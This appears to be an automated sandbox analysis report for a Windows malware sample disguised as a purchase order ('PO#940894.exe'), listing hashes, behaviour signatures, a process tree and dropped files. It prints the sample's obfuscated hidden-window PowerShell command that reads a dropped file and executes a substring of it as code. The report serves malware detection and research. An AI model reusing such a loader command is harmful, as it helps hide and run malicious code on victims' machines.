Analysis
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max time kernel
94s -
max time network
95s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
10-09-2024 10:54
Static task
static1
Behavioral task
behavioral1
Sample
PO#940894.exe
Resource
win7-20240903-en
General
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Target
PO#940894.exe
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Size
613KB
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MD5
ed74af816d3d992bb737a5c618edeb40
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SHA1
88fa10ff069ca50565409920b0bc8faa8f22f72c
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SHA256
9624383d6ceb24015deaeac4576a474da6dc0c676d66e15dd11ec65429335bf8
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SHA512
38bb1cbc7b4af36325ea4f4a5426ec1a973c022b593188a7ca37330691145bb2eca052f2ef6bc34e162ee7b802e4a0e96e9d13fc813e7f6a2a4b4c62bdf9a020
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SSDEEP
12288:8BIJsQw0Rxx/sK2NVf8hBScYtaHQVkUlsJpuOCCT:tJsQwix5sK2/fbcYUwV1MpwCT
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target Process procid_target 976 4948 WerFault.exe 84 -
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
PO#940894.exepowershell.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PO#940894.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powershell.exepid Process 4948 powershell.exe 4948 powershell.exe 4948 powershell.exe 4948 powershell.exe 4948 powershell.exe 4948 powershell.exe 4948 powershell.exe 4948 powershell.exe 4948 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 4948 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
PO#940894.exedescription pid Process procid_target PID 4980 wrote to memory of 4948 4980 PO#940894.exe 84 PID 4980 wrote to memory of 4948 4980 PO#940894.exe 84 PID 4980 wrote to memory of 4948 4980 PO#940894.exe 84
Processes
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C:\Users\Admin\AppData\Local\Temp\PO#940894.exe"C:\Users\Admin\AppData\Local\Temp\PO#940894.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4980 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Detailprojekterede=Get-Content 'C:\Users\Admin\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Afslapp.Spr';$Brutality48=$Detailprojekterede.SubString(27359,3);.$Brutality48($Detailprojekterede)"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4948 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4948 -s 24803⤵
- Program crash
PID:976
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4948 -ip 49481⤵PID:1712
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Afslapp.Spr
Filesize53KB
MD5aeb33d4602ef780a52c90a8abb821487
SHA1701fd98c6315f873cd047597a2761dfcd575efe3
SHA2564f441604d71ccbb4f52305e9f3a635902f1eda8d6d1261aaf649fcfceb20320b
SHA512404aa875c03fa4aeea34104568d6517f57ef81439626c32f40c036da9a3a2484274363ddd157c1169965f8b9dfbebca11a91fcfd845e53f1b718b32e4e82ec14